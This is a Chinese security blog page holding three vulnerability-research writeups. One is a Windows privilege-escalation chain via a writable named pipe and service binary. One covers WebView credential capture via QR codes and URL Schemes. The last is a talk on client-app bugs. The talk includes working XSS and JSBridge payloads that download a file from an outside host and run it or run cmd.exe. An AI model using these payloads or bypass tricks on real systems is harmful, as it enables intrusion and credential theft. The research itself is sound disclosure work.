C

Chen's Blog

Chen's Blog,分享安全领域的所思、所想、所学。

提权实录:通过命名管道劫持可写服务

<h1 id="提权实录通过命名管道劫持可写服务">提权实录:通过命名管道劫持可写服务</h1> <h2 id="前言">前言</h2> <p>在分析某 Windows 应用的服务组件时,发现其创建的命名管道访问控制配置宽松,允许低权限用户连接并发送指令,从而触发高权限的终止任意进程操作(<code>taskkill</code>)。进一步分析发现,被终止的服务会自动重启,而其可执行文件的权限配置错误,允许 Everyone 组读写。结合这两个缺陷,可构造一条完整的本地提权利用链。</p> <h2 id="漏洞挖掘过程">漏洞挖掘过程</h2> <h3 id="命名管道">命名管道</h3> <h4 id="关于命名管道">关于命名管道</h4> <p>命名管道(Named Pipe)是 Windows 操作系统提供的一种进程间通信(IPC)机制,允许不同进程(包括跨会话、跨权限级别)通过一个带名称的管道进行双向或单向数据交换。命名管道具有全局可见的名称(通常位于 <code>\pipe\</code> 命名空间下,如 <code>\\.\pipe\KeyServicePipe</code>),支持多客户端连接,并可通过安全描述符(Security Descriptor) 设置访问控制列表(ACL),以限制哪些用户或组可以读取、写入或创建连接。</p> <p>命名管道常被用作高权限服务与低权限客户端之间的通信通道。然而,若开发者未正确配置管道的 ACL(例如允许 Everyone 或 Authenticated Users 具有写权限),攻击者就可以作为客户端向服务端发送消息,从而使得服务执行敏感操作(如启动/终止进程、读取文件等),以此构成权限提升或远程代码执行的风险。</p> <h4 id="发现命名管道">发现命名管道</h4> <p>发现命名管道及查看其对应的 ACL 策略可以借助 <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite">Sysinternals Suite</a> 内的 <code>pipelist</code> 和 <code>accesschk</code>。这里 <a href="https://github.com/0cat-r">0cat</a> 向我推荐了一款可视化友好的工具:<a href="https://github.com/sensepost/pipetap">Pipetap</a>。通过查看 <code>Pipelist</code> 发现存在一个 ACL 策略为 Everyone 可写的命名管道:<code>KeyServicePipe</code>。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-04%20at%2016.11.27@2x.png" alt="CleanShot 2026-01-04 at 16.11.27@2x" /></p> <p>该命名管道对应的进程也是以 <code>System</code> 权限运行着,完全符合我们挖掘提权的条件。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2019.44.25@2x.png" alt="CleanShot 2026-01-12 at 19.44.25@2x" /></p> <h4 id="进程终止逻辑">进程终止逻辑</h4> <p>根据命名管道服务进程定位到其可执行文件,接着通过 IDA 进行<a href="https://github.com/gh0stkey/FuncExporter">一键导出反编译代码</a>。配合着 AI 进行分析,很容易就定位到相关信息。</p> <p>首先是入口接收到信息并根据不同的偏移量解析客户端所发送过来的消息,根据这些偏移量得知消息包含 2 个部分:消息头和消息体,消息头为 12 个字节。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2016.20.29@2x.png" alt="CleanShot 2026-01-12 at 16.20.29@2x" /></p> <p>其次是消息头的逻辑,我们可以看见其有三个部分,每个部分刚好 4 字节(DWORD)。三个部分分别为:会话 ID、消息类型、消息体长度。这些信息也是基于后续的调试输出所得知。读到消息类型后,会判断消息类型的范围必须在 1-37 之间。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2016.23.31@2x.png" alt="CleanShot 2026-01-12 at 16.23.31@2x" /></p> <p>最后就进入消息分发,根据不同的消息类型进行分发。不同的消息类型对应不同的处理逻辑,在这里实际上踩了个坑,正常跟进向下的逻辑 Map 寻找,而实际上在服务创建的构造函数内就已经定义好了:<code>sub_424FF0(v5, 消息类型, 消息处理函数)</code>。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2017.01.45@2x.png" alt="CleanShot 2026-01-12 at 17.01.45@2x" /></p> <p>关键问题逻辑就是其作为命名管道服务端有一个消息接收分发机制,根据消息类型来进行消息的分发。如图所示,当消息类型为 <code>24</code> 时则进入消息进入 <code>sub_4216B0</code> 函数处理。</p> <p>在 <code>sub_4216B0</code> 函数内本质上就是获取消息体进行处理,最重要的就行消息体的 <code>+4</code> 字节偏移位,其为 PID(这里做了强转换,因此无法进行命令注入)。PID 首先用于 <code>TASKLIST</code> 命令进行命令查找。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2019.25.22@2x.png" alt="CleanShot 2026-01-12 at 19.25.22@2x" /></p> <p>只有当指定的 PID 进程存在时才会接着向下走,走到 <code>TASKKILL</code> 命令,根据 PID 强制关闭进程。至此,我们就发现了一条低权限进程通过命名管道以 <code>System</code> 权限进行 <code>TASKKILL</code> 任意进程的路径。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2019.39.38@2x.png" alt="CleanShot 2026-01-12 at 19.39.38@2x" /></p> <h3 id="系统服务">系统服务</h3> <h4 id="关于系统服务">关于系统服务</h4> <p>Windows 服务(Windows Service)是 Windows 操作系统中一种在后台持续运行的程序,无需用户交互即可执行特定任务。如果服务在配置时没有做好权限的 ACL 配置则会导致三类风险:可修改服务二进制文件、可修改服务注册表项、可修改服务本身,易被攻击者利用实现本地权限提升或恶意篡改服务配置与运行逻辑。</p> <h4 id="可修改服务二进制文件">可修改服务二进制文件</h4> <p>这里直接借助 <a href="https://github.com/GhostPack/SharpUp">SharpUp</a> 来进行一键分析:<code>SharpUp.exe check ModifiableServiceBinaries</code>。发现有很多服务的可执行文件是可以修改的,但是要配合攻击链路,就需要满足被 <code>TASKKILL</code> 强制终止进程后,还会自动重启的。这里测试出来发现 <code>KeyAgent</code> 服务满足这一逻辑。</p> <p><img src="/images/2026-03-16/CleanShot%202026-01-12%20at%2019.49.29@2x.png" alt="CleanShot 2026-01-12 at 19.49.29@2x" /></p> <h2 id="利用链构建">利用链构建</h2> <p>利用链构建比较简单,先启动独立的线程不断的循环尝试将恶意文件 <code>EvilAgent.exe</code> 替换目标服务的合法可执行文件 <code>KeyAgent.exe</code>,同时作为客户端连接命名管道 <code>\\.\pipe\KeyServicePipe</code> 并发送构造好的 KillProcess 消息触发命名管道服务进程执行 <code>TASKKILL</code> 命令终止 <code>KeyAgent.exe</code> 进程,最后借助 <code>KeyAgent.exe</code> 服务自动重启特性加载恶意文件,完成本地权限提升的利用链构建。</p> <p><img src="/images/2026-03-16/mermaid-diagram-2026-01-12-203558.png" alt="mermaid-diagram-2026-01-12-203558" /></p> <p><code>EvilAgent.exe</code> 是 <a href="https://github.com/Rvn0xsy/SystemGap">SystemGap</a> 项目里的 <code>SystemGapAll</code>。其同样也借助命名管道实现高低权限进程间的通信,低权限向高权限发送要执行的命令,高权限执行并把结果返回给低权限。</p> <p><img src="/images/2026-03-16/4cd75d3600f7dd104be96cb3fd87d56a.png" alt="4cd75d3600f7dd104be96cb3fd87d56a" /></p> <h2 id="总结">总结</h2> <p>本提权利用链的成功构建,关键在于命名管道访问控制配置不当与服务可执行文件权限配置错误这两个缺陷的组合利用,在实战过程中发现类似的问题很多,是个值得关注的攻击面。最后,在此特别感谢 <a href="https://payloads.online/">@倾旋</a> 在漏洞挖掘过程中提供的协助。</p>

2026/3/16
閱讀更多

黑盒视角下的 WebView 漏洞面探索

<h1 id="黑盒视角下的-webview-漏洞面探索">黑盒视角下的 WebView 漏洞面探索</h1> <h2 id="前言">前言</h2> <p>本文主要记录了在移动端探索 WebView 组件漏洞的过程,采用黑盒视角,摒弃复杂繁琐的内部逻辑分析,专注于快速且直接的漏洞挖掘方法。由于笔者才疏学浅,因此本文难免会出现一些文笔不通或专业解释不到位的情况,还望多包涵及斧正。</p> <h2 id="webview-组件">WebView 组件</h2> <h3 id="介绍">介绍</h3> <p>顾名思义,WebView 组件是用于在应用程序中嵌入和展示 Web 内容的系统组件。通过调用 WebView,开发者能够实现在自己的应用中直接渲染网页,这从某种程度上极大地简化了跨平台应用的开发流程。利用 WebView,开发者只需进行少量适配工作,即可将现有的 Web 应用无缝移植到移动应用环境中,显著提升了开发效率和灵活性。</p> <h3 id="场景">场景</h3> <p>WebView 组件实际上无处不在。例如,在手机上打开一个商城 APP 时,展示的商品信息可能本质上就是通过 WebView 加载和渲染的网页。在这些实际应用场景中,用户通常不会察觉到 WebView 的存在,并且所有显示的信息可能都是由 APP 预先配置好的。</p> <h2 id="漏洞入口">漏洞入口</h2> <p>要想让用户手机上的 APP 调用 WebView 组件对自定义页面进行渲染,方法主要分为两种:<strong>第一类是国内常见的二维码扫码,通过扫描一个指向网页链接的二维码,从而直接调用 WebView 加载特定网页;第二类是 APP 间的跳转调用,即 URL Scheme(在安卓上也称为 Deep Link),通过这种方式可以从一个 APP 直接跳转到另一个 APP 中的特定页面,而这个页面同样可能是通过 WebView 来渲染的。</strong></p> <h3 id="二维码扫描">二维码扫描</h3> <p>APP 上的二维码扫码功能通常作用于用户界面的左右上角,如果找不到的话则可以在 APP 的设置页面中找到“扫一扫”、“扫码”等字眼就可以打开相关功能。</p> <p><img src="/images/2025-12-26/0.jpg" alt="" /></p> <h3 id="url-scheme-跳转">URL Scheme 跳转</h3> <p>关于 URL Scheme,对于我来说就是老熟人了,在 2018 年的时候就在博客里浅浅的分享了一下,有兴趣可以看下:https://gh0st.cn/archives/2018-12-08/1。</p> <p>这里简单说明下,URL Scheme 实际上是应用程序在操作系统层面注册的一种自定义协议格式,它允许 APP 定义特定的协议名,并在 APP 内定义路由和接收参数来完成某些功能,与我们所理解的 HTTP 协议形式的 URL 地址没有什么本质区别。当其他应用或浏览器尝试通过这种自定义协议发起请求时,系统能够识别并定位到相应的应用程序,然后传递所访问的功能路由和参数信息给该应用进行处理。</p> <p>在 iOS 和 Android 上,对于 URL Scheme 的支持是不一样的,例如在 iOS 上的 Safari 浏览器的地址栏中直接输入 URL Scheme 则可以完成跳转调用。而 Android 默认浏览器下,用同样的方式则会提示找不到网页,因此想要调用 URL Scheme 就需要借助 JavaScript(location 跳转)或 HTML(a 标签 href 点击指向)的方式,在 iOS 上也可以用这种方式。</p> <pre><code class="language-html">&lt;a href="xapp://page?url=https://gh0st.cn"&gt;Click&lt;/a&gt; </code></pre> <p><img src="/images/2025-12-26/1.jpg" alt="" /></p> <h2 id="实战案例">实战案例</h2> <p>基于以上所述的两种攻击入口,我发现了许多 APP 上的漏洞,可以通过 WebView 组件直接获取用户凭证。</p> <h3 id="webview-访问">WebView 访问</h3> <p>访问获取凭证是 WebView 组件漏洞面的最基本漏洞,通过扫描二维码或 URL Scheme 跳转调用 WebView 组件打开指定的 URL 地址,接着由于 APP 为设限或存在绕过的情况下,WebView 内访问指定的 URL 地址时会携带凭证信息。</p> <p><strong>为什么 WebView 内访问可以携带凭证?</strong> 因为当前 APP 的设计架构采用 Native UI 与 WebView 相结合的方式,以兼顾性能体验与业务灵活性,支持更丰富的应用场景,因此在 APP 上进行登录后,APP 在 WebView 的应用场景下也会携带登录凭证。</p> <h4 id="二维码扫描-1">二维码扫描</h4> <p>关于二维码扫描的方式比较简单找到入口,如上文所说在 APP 那找到对应功能点即可。以下图所示,图中所展示的案例就是最经典的二维码扫描入口进入 WebView 组件,访问时携带了凭证到达指定 URL 地址。(可以将 URL 地址设为 BurpSuite Collaborator 的地址或类似有 HTTP Log 记录的地址)</p> <p>如图所示案例实际上有个细节,如二维码内容处打码的部分即为白名单域名,可以通过抓包或知道 APP 归属的域名方式获取该部分。很多 APP 使用 WebView 组件进行访问时,会判断当前访问的页面 URL 地址中的域名部分,有些 APP 在此处判断时比较宽松,例如判断域名是否包含某域名。因此可以通过一些格式对此进行绕过,如:<code>http://白名单域名.HTTPLog.com</code>、<code>http://白名单域名@HTTPLog.com</code>。</p> <p><img src="/images/2025-12-26/2.jpg" alt="" /></p> <h4 id="url-scheme-跳转-1">URL Scheme 跳转</h4> <p>URL Scheme 按常规逻辑需要通过工具查看 APP 所声明的信息,APK 格式就是文件内的 <code>AndroidManifest.xml</code> 文件,IPA 格式就是文件内的 <code>Info.plist</code> 文件。但是本文不做偏逆向/白盒侧的分享,从黑盒角度出发获取 URL Scheme。</p> <p><strong>为什么可以从黑盒出发获取 URL Scheme?</strong> 还是回到 Native UI 与 WebView,因为 WebView 会去访问一些业务/功能页面,因此开发也会在 WebView 网站中去写入 APP 的 URL Scheme 信息,从而调起 APP 内的一些 Native 功能,因此只要可以进行抓包即可通过正则匹配的方式获取到完整的 URL Scheme 信息。</p> <p>如下图所示案例逻辑为:</p> <ol> <li>通过笔者所开发的 HaE 工具配合 BurpSuite 进行抓包,规则就会获取到抓包过程中所出现的 URL Scheme 信息:<code>xxx://clause/WebView?url=</code>。</li> <li>得到该信息之后,将其中的 url 参数设为 HTTPLog 地址:<code>xxx://clause/WebView?url=http://HTTPLog.com</code>。</li> <li>在 iOS 环境下即可通过浏览器复制构建好的地址直接打开然后跳转到 APP 内的 WebView 访问界面。在 Android 环境下,则可以按上文中提到的 HTML 代码方式进行。</li> <li>最后在 HTTPLog 服务中即可查看是否获取到了凭证信息,如果没有也可以尝试绕过,与二维码扫描处的绕过逻辑是一样的。</li> </ol> <p><img src="/images/2025-12-26/3.jpg" alt="" /></p> <h3 id="jsbridge-获取">JSBridge 获取</h3> <h4 id="逻辑与发现">逻辑与发现</h4> <p>JSBridge 是一种在 App 中实现 JavaScript 与 Native 代码通信的技术方式,可以将 Web 页面中的 JavaScript 调用映射到原生功能中。很多 APP 在使用 JSBridge 映射 JavaScript 与 Native 方法时,未对调用来源的域(Origin)进行校验或白名单限制,导致任意网页或第三方脚本均可通过 JavaScript 直接调用注册的 Native 接口。</p> <p>这些被注册的接口,可以是全局变量、方法、对象等类型。在 JavaScript 中全局实际上就是窗口对象 Window。也就意味着这些接口都会被注册到 Window 下面。因此,只要进入到 WebView 组件内就可以通过遍历 Window 全局对象的方式来找到被 APP 所注册的接口。</p> <p>如下代码所示就是一个简易的 Window 全局对象遍历代码。它的缺点很明显,如图所示会将浏览器/组件自带的一些方法遍历出来,因此就需要加入输出过滤功能,从而帮助我们更方便的进行 APP 注册接口的寻找。</p> <pre><code class="language-html">&lt;body&gt; &lt;/body&gt; &lt;script&gt; Object.keys(window).forEach(key =&gt; { document.body.innerHTML += `&lt;pre&gt;${key}:${window[key]}&lt;/pre&gt;`; }); &lt;/script&gt; </code></pre> <h4 id="凭证获取">凭证获取</h4> <p>依旧使用 HaE 的规则通过抓包的方式来获取到 WebView 的 URL Scheme 信息:<code>xxx://promotion/web</code>,有些 URL Scheme 信息需要分析业务 JavaScript 文件中的逻辑,如图所示在基础的 URL 信息上还有一个参数 <code>url</code>:<code>xxx://promotion/web?url=</code>。</p> <p><img src="/images/2025-12-26/4.png" alt="" /></p> <p>如下图所示案例逻辑为:</p> <ol> <li>编写 A 标签跳转页面,用于指定 WebView 组件跳转页面:<code>&lt;a href="xxx://promotion/web?url=http://可信域名.attack.com/WebView/0.html"&gt;Click Me&lt;/a&gt;</code>。</li> <li>打开跳转页面点击 A 标签,调用起目标 APP 的 WebView 组件访问自动化遍历脚本页面,分析发现 <code>czbInfo.getAppInfo</code> 方法可以获取凭证。</li> <li>构建 JavaScript 外带代码用于验证凭证可以经过网络进行远程获取。</li> </ol> <p><img src="/images/2025-12-26/5.png" alt="" /></p> <h2 id="总结与思考">总结与思考</h2> <p>本文从黑盒测试的视角,梳理了针对移动端 WebView 组件的漏洞挖掘路径。但是 WebView 组件不仅仅是移动端的特有产物,随着类 CEF (Chromium嵌入式框架)/ 类 Electron 框架的出现,PC客户端也同样面临着 WebView 组件攻击风险。</p> <p>抛出两个思考:除了获取凭证外是否存在其他更高维度的利用面?除了APP自身校验缺陷外是否存在系统层的校验不严格问题?</p>

2025/12/26
閱讀更多

被忽视的暗面:客户端应用漏洞挖掘之旅

<h1 id="被忽视的暗面客户端应用漏洞挖掘之旅">被忽视的暗面:客户端应用漏洞挖掘之旅</h1> <h2 id="前言">前言</h2> <p>在2023年12月15日,我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员,我被邀请分享名为“被忽视的暗面:客户端应用漏洞挖掘之旅”的技术议题。</p> <p>客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级,客户端应用漏洞也逐渐出现在大众视野中(APT攻击、攻防赛事等等),在本次议题中,我们将重点关注PC侧的客户端应用程序,如即时通讯、远程服务、视频软件等应用,探索其中存在的漏洞和潜在的安全风险。</p> <p><img src="/images/2023-12-18/17026451662626.jpg" alt="" /></p> <h2 id="漏洞案例">漏洞案例</h2> <p>漏洞案例的分析主要分为两类,一是常规风险的介绍和了解,二是RCE漏洞的挖掘思路和手法。</p> <p><strong>注意:以下漏洞案例均通过脱敏和细节上的处理。</strong></p> <h3 id="常规风险篇">常规风险篇</h3> <p>常规风险在这里我分为这几类:信息泄露、白利用、逻辑校验、缓冲区溢出。</p> <h4 id="信息泄漏">信息泄漏</h4> <p>对于客户端的信息泄露,我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配,将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。</p> <p><img src="/images/2023-12-18/17026453007764.jpg" alt="" /></p> <p>实际效果没有那么好,仅有一些数据库的连接配置信息泄露,并且由于是基于IDA的也没有那么好的进行自动批量化发现。</p> <p><img src="/images/2023-12-18/17028731522870.jpg" alt="" /></p> <p><img src="/images/2023-12-18/17028731780708.jpg" alt="" /></p> <p>我们可以借助<code>Strings</code>工具来快速的获取可执行文件的字符串内容,并通过正则或其他方式进行匹配。</p> <p><img src="/images/2023-12-18/17028736490974.jpg" alt="" /></p> <h4 id="白利用">白利用</h4> <p>白利用问题就老生常谈了,在红队的工作中也经常遇到,如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。</p> <p><img src="/images/2023-12-18/17028738382826.jpg" alt="" /></p> <p><img src="/images/2023-12-18/17028738618693.jpg" alt="" /></p> <h4 id="逻辑校验">逻辑校验</h4> <p>很多客户端程序在对用户信息进行获取的时候会通过内存的方式,来获取用户的编号,从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的,我们可以通过CE来对内存进行修改,从而导致越权漏洞的产生。</p> <p><img src="/images/2023-12-18/17028740063948.jpg" alt="" /></p> <p>这类问题很经典,在以往就有许多案例(wooyun-2015-0143395、wooyun-2014-048606),但现在仍然可以从一些主流的应用上发现到类似的安全问题。</p> <h4 id="缓冲区溢出">缓冲区溢出</h4> <p>缓冲区溢出问题太多太多了,我们可以通过通过IDA插件VulFi定位脆弱点,很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外,也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz,从而找到溢出问题。</p> <p><img src="/images/2023-12-18/17028745014755.jpg" alt="" /></p> <p>除了本地网络服务以外,最经典的、利用最多的还是特定文件格式处理客户端,如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序,它用于各种各样的图片处理,我们可以找一些比较不常见的图片格式,并且通过网盘资源找到一些样本文件,丢给GPT或IFFA来分析文件格式,并输出Pits脚本,通过Peach Fuzzer来进行Fuzz工作。</p> <p><img src="/images/2023-12-18/17028747262213.jpg" alt="" /></p> <h3 id="rce篇">RCE篇</h3> <p>接着我们来到RCE篇,请注意这里的RCE并不是Pre Auth的,案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对,如果一些客户端的网络服务端口是监听在0.0.0.0的,只要你与目标机器处于同一个网络,或该客户端是在服务器上使用的,也一样可以实现0 Click的效果。</p> <h4 id="web类客户端">Web类客户端</h4> <p>Web类客户端,我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序,如Electron这类CEF(浏览器嵌入式)框架开发的客户端应用,以及基于渲染引擎(如Wke)所开发的客户端应用。</p> <h5 id="某im客户端应用">某IM客户端应用</h5> <p>如下图所示,是一个即时通讯客户端应用,我在群名称重命名时发现了一个反射XSS漏洞,根据其目录结构我知道它是一个基于Electron开发的程序。</p> <p><img src="/images/2023-12-18/17028753704726.jpg" alt="" /></p> <p>在Electron框架下,如果开发者在渲染页面时配置<code>nodeIntegration</code>为true,则说明我们可以在前端中使用Nodejs的语法,这就导致我们可以直接在前端使用如下Nodejs代码执行命令:</p> <pre><code class="language-nodejs">require('child_process').exec(...); </code></pre> <p>但是这个配置项在创建功能窗口时并没有开启:</p> <p><img src="/images/2023-12-18/image019.png" alt="" /></p> <p>所以,我们也就没办法通过XSS执行Nodejs的代码,但是根据当前的Electron的版本1.8.7去互联网检索,发现这个版本存在一个历史漏洞:CVE-2018-15685,而后进行相关验证,也无法成功。</p> <p>但是我们在<code>\resources\app\src\inject\preload.js</code>文件中(这是预加载JS,也就表示这个文件在窗口创建后,页面创建前就执行了),发现了注册的全局变量:</p> <pre><code class="language-javascript">window.ZxDesktop = ZxDesktop; </code></pre> <p>所以我们可以直接去调用这个全局变量,从而去使用其内部的定义的一些功能:</p> <p><img src="/images/2023-12-18/17028758518853.jpg" alt="" /></p> <p>该全局变量实际上导出了很多其他模块及对应方法:</p> <p><img src="/images/2023-12-18/image025.png" alt="" /></p> <p>我们跟进File模块,就可以发现存在一个open函数:</p> <p><img src="/images/2023-12-18/image027.png" alt="" /></p> <p>跟进代码和测试之后,发现它就是文件打开函数,在Console下去调用,成功打开计算器:</p> <p><img src="/images/2023-12-18/image029.png" alt="" /></p> <p>接着看导出函数列表的其他项,发现存在两个文件保存的方法:</p> <p><img src="/images/2023-12-18/image031.png" alt="" /></p> <p>而它们所指向的都是另外一个模块的方法:</p> <pre><code class="language-javascript">const Download = require('../download_extra/download.render.js'); </code></pre> <p>跟进这个模块,发现实际上他们都来自同一个方法,只不过传递的参数isSelect有不同:</p> <p><img src="/images/2023-12-18/image033.png" alt="" /></p> <p>接着我们来完整的阅读下代码即可发现整个逻辑,首先根据你传递的参数来判断要调用NormalDownload(正常下载)还是ChunkDownload(分块下载),接着根据isSelect函数来判断调用save还是saveAs方法:</p> <p><img src="/images/2023-12-18/image035.png" alt="" /></p> <p>所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码,来查看它们这些方法的逻辑是什么,这里看了之后,两者代码的唯一区别就是分块,所以本文就以NormalDownload的save、saveAs方法去说明。</p> <p>首先是saveAs方法,它会调用一个文件保存框,然后赋值调用retryStart方法:</p> <p><img src="/images/2023-12-18/image037.png" alt="" /></p> <p>而实际上retryStart方法内调用的是start方法,这个方法是用来进行请求下载的:</p> <p><img src="/images/2023-12-18/image039.png" alt="" /></p> <p>而后下载的文件实际上会保存在用户的数据目录下,save方法与saveAs方法的最大的不同就是没有这个文件保存框,所以我们当然选择使用save方法。</p> <p>需要注意,在如上代码中save和saveAs的传递参数不一致,其实这不影响最终的处理,因为在一开始的对象创建时候就通过构造函数赋值了:</p> <pre><code class="language-javascript">let downloader = new Download(file, config); </code></pre> <p><img src="/images/2023-12-18/image041.png" alt="" /></p> <p>至此,我们就获得了文件下载的攻击路径,我们可以根据对应参数这样构建JS代码:</p> <pre><code class="language-javascript">ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""}); </code></pre> <p>我们已经获得了文件下载的功能,攻击路径就很明显了:用户下载文件,打开文件。但是实际操作中,我们打开文件还缺少一个路径,并且在实际的测试中,默认情况下,下载的文件是会保存在应用的数据目录的null目录下。</p> <p>而这个目录可能会被用户更改(用户名也没法获取),所以我们需要搭配一个点去获取路径,在这里找到了ZxDesktop的System模块:</p> <p><img src="/images/2023-12-18/image045.png" alt="" /></p> <p>它的导出列表中有两个属性:dbPath、userDataPath,它们的内容都是一样的,指向了用户的数据目录:</p> <pre><code class="language-javascript">ZxDesktop.require("System").userDataPath </code></pre> <p>我们可以这样拼接,就有了下载文件的目录信息了:</p> <pre><code class="language-javascript">ZxDesktop.require("System").userDataPath + "/null/test.txt" </code></pre> <p>当我们满足所有条件后,就可以构造完整的攻击代码了:</p> <p>1.下载文件:</p> <pre><code class="language-javascript">var a = ZxDesktop; var b = a.require("File"); b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""}); </code></pre> <p>2.拼接文件路径,打开文件:</p> <pre><code class="language-javascript">b.open(a.require("System").userDataPath + "/null/test.txt"); </code></pre> <p>3.最终Exploit:</p> <pre><code class="language-html">"&gt;&lt;svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'&gt; </code></pre> <p><img src="/images/2023-12-18/17028761314895.jpg" alt="" /></p> <h5 id="某运维平台客户端">某运维平台客户端</h5> <p>在某运维平台客户端中,我们发现可以通过伪协议链接(<code>xxx://webview/?url=http://xxxx</code>)来达到端内任意页面加载,这也就表示我们可以执行任意JS代码。</p> <p>根据加载的DLL文件得知,其所依赖的前端页面渲染是开源项目<a href="https://github.com/cexer/wke">Wke</a>。</p> <p>在源代码<code>wke/jsBind.cpp</code>中,发现wkeJSBindFunction方法提供了JSBridge的功能,将JavaScript函数绑定到C++中一个本地函数。</p> <p><img src="/images/2023-12-18/17028764422964.jpg" alt="" /></p> <p>基于IDA分析得知,目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示,其将C++某个函数地址,与名为callprogram的JavaScript函数进行绑定,我们可以直接在JS代码中调用。</p> <p><img src="/images/2023-12-18/17028765186722.jpg" alt="" /></p> <p>跟进对应的C++函数,我们发现它会通过wkeJSParam获取参数,再通过JSToTempStringW获取字符串形式的参数值,最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为:<code>ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)</code>。</p> <p><img src="/images/2023-12-18/17028765625148.jpg" alt="" /></p> <p>因此我们可以构建如下的Exploit代码,并通过伪协议的方式使目标可以打开包含Exp代码的网页:</p> <pre><code class="language-html">&lt;script&gt;callprogram("C:/Windows/System32/cmd.exe", "/c calc");&lt;/script&gt; </code></pre> <h4 id="传统类客户端">传统类客户端</h4> <p>传统类客户端,我的定义是基于C/C++写的一些传统应用,如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。</p> <h5 id="某远程服务平台客户端">某远程服务平台客户端</h5> <p>在拿到一个客户端程序时,第一步是安装,第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息,这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联,辅助我们挖掘漏洞。</p> <p>如下图所示,安装完某远程服务平台客户端后,我通过火绒剑逐个查看对应的进程信息,在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是<code>UserClient.exe</code>进程当前的网络通信信息,我们可以看到它在本地监听了两个端口:<code>38227</code>、<code>38230</code>。</p> <p><img src="/images/2023-12-18/16679755790172.jpg" alt="" /></p> <p>它的协议都是TCP,我们可以尝试使用HTTP的方式去访问,结果显示<code>38230</code>端口可以以HTTP协议的方式进行访问。</p> <p><img src="/images/2023-12-18/16679844917231.jpg" alt="" /></p> <p>我们可以选取响应报文中的<code>bangwo8client</code>字符串在IDA的Strings窗口中进行搜索,通过这样的方式来进行逻辑的回溯。</p> <p><img src="/images/2023-12-18/16679850207168.jpg" alt="" /></p> <p>双击进入字符串所在的<code>.RDATA</code>节,我们就可以看到该字符串对应的交叉引用,那么接下来我们的工作就是<strong>进入这些函数看具体实现是否对的上响应报文的主体内容</strong>。</p> <p><img src="/images/2023-12-18/16680597537856.jpg" alt="" /></p> <p>我们进入一个函数查看,会发现在函数的头部代码中有如下这么一段内容,它的逻辑似乎就对应了HTTP响应报文的主体返回,通过字符串的对应我们能大致知道<code>sub_487760</code>函数的作用就是为了将字符串解析到JSON格式中,然后再通过其他函数拼接JSON的字段内容给到<code>Block</code>。</p> <p><img src="/images/2023-12-18/16680633669819.jpg" alt="" /></p> <p>除了我们跟进的这个函数外其他的函数逻辑都大致一样,并且我们通过IDA插件<code>CTO</code>查看调用关系,发现这些函数最终都是被同一个函数<code>sub_674090</code>调用。</p> <p><img src="/images/2023-12-18/16680636918960.jpg" alt="" /></p> <p>那我们再继续跟进函数<code>sub_674090</code>,函数的逻辑就是根据不同的URI进入不同的函数处理,也就表示着这里就是HTTP请求逻辑处理的入口位置。</p> <p><img src="/images/2023-12-18/16680638567124.jpg" alt="" /></p> <p>有了请求处理逻辑的入口,接下来我们就要去看每个URI对应的处理逻辑是什么,看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。</p> <p>如果你觉得这样去看很累,也可以基于敏感函数的调用链来对应每个URI的处理函数,如下图所示我就基于<code>ShellExecuteA</code>函数的调用链找到了URI<code>/api_install</code>的对应处理函数,也就表示当你访问URL:<code>http://127.0.0.1:38230/api_install</code>时很有可能就会触发<code>ShellExecuteA</code>函数。</p> <p><img src="/images/2023-12-18/16680696654183.jpg" alt="" /></p> <p>那么我们可以跟进去看一下该处理函数,看看是否可以将可控参数值带入到<code>ShellExecuteA</code>函数里去执行。</p> <p>在函数的一开始就判断运行当前程序的用户是否是<code>system</code>,如果不是的话则直接返回响应内容(状态码500)提示当前不是以SYSTEM权限运行的进程。</p> <p><img src="/images/2023-12-18/16680699571630.jpg" alt="" /></p> <p>这里我们通过Process Hacker可以看到<code>UserClient.exe</code>进程对应的用户就是<code>SYSTEM</code>:</p> <p><img src="/images/2023-12-18/16680700889509.jpg" alt="" /></p> <p>也就表示我们当前是满足这个条件的,所以可以接着看IF分支内的逻辑。在IF分支内就执行了<code>ShellExecuteA</code>函数,根据<code>ShellExecuteA</code>函数的使用语法我们知道它这是以<code>v15</code>作为参数执行<code>v16</code>程序,所以我们需要知道<code>v15</code>、<code>v16</code>这两个变量是如何赋值而来的。</p> <p><img src="/images/2023-12-18/16680708970258.jpg" alt="" /></p> 